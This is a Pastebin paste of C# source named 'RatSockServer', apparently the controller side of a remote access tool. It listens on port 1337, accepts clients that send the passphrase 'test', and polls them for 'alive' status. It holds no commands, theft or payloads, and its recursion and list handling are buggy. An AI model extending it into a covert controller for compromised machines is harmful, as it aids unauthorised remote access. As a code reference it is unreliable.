Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Net.Sockets;
- using System.Text;
- using System.Threading;
- using System.Threading.Tasks;
- namespace RatSockServer
- {
- public class Program
- {
- //Both
- static string match = "test";
- static int port = 1337;
- //Server
- static IPAddress ipRecieve = IPAddress.Any;
- static TcpListener server = new TcpListener(ipRecieve, port);
- static List<Connection> connections = new List<Connection>();
- static void Main(string[] args)
- {
- server.Start();
- Thread checkCon_Thread = new Thread(checkNewConnection);
- Thread returnList_Thread = new Thread(returnList);
- checkCon_Thread.Start();
- returnList_Thread.Start();
- }
- static void checkNewConnection()
- {
- Connection connection = new Connection(null, server.AcceptTcpClient());
- if (connection.client != null)
- {
- Thread newCon_Thread = new Thread(()=>newConnection(connection));
- newCon_Thread.Start();
- }
- checkNewConnection();
- }
- static void returnList()
- {
- if (connections.Count != 0)
- {
- foreach (var a_con in connections)
- {
- foreach (var a_str in a_con.connection)
- {
- Console.Write(a_str + " ");
- }
- Console.WriteLine();
- }
- }
- else
- {
- Console.WriteLine("Waiting for Connections");
- }
- checkStates();
- Thread.Sleep(5000);
- Console.Clear();
- returnList();
- }
- static void checkStates()
- {
- try
- {
- foreach (var a_con in connections)
- {
- sendData(a_con.client, "check_state");
- string r_raw = recieveData(a_con.client);
- string[] r_msg = null;
- if (r_raw != null)
- {
- r_msg = r_raw.Split('_');
- if (r_msg[0] == a_con.connection[1])
- {
- if (r_msg[1] != "alive")
- {
- connections.Remove(a_con);
- }
- }
- else
- {
- connections.Remove(a_con);
- }
- }
- else
- {
- connections.Remove(a_con);
- }
- }
- }
- catch (InvalidOperationException)
- {
- }
- }
- static void newConnection(Connection connection)
- {
- string r_Match = recieveData(connection.client);
- if (r_Match == match)
- {
- sendData(connection.client, "accept");
- addToList(connection);
- }
- }
- static void addToList(Connection connection)
- {
- string[] t_connection = new string[3];
- string t_data = connections.Count+1 + "_" + recieveData(connection.client);
- t_connection = t_data.Split('_');
- connection.connection = t_connection;
- connections.Add(connection);
- }
- static string recieveData(TcpClient client)
- {
- Byte[] bytes = new Byte[256];
- string data = null;
- // Get a stream object for reading and writing
- NetworkStream stream = client.GetStream();
- try
- {
- int i = stream.Read(bytes, 0, bytes.Length);
- data = System.Text.Encoding.ASCII.GetString(bytes, 0, i);
- }
- catch (IOException e)
- {
- data = null;
- }
- return data;
- }
- static void sendData(TcpClient client, string message)
- {
- // Translate the passed message into ASCII and store it as a Byte array.
- Byte[] data = System.Text.Encoding.ASCII.GetBytes(message);
- NetworkStream stream = client.GetStream();
- stream.Write(data, 0, data.Length);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement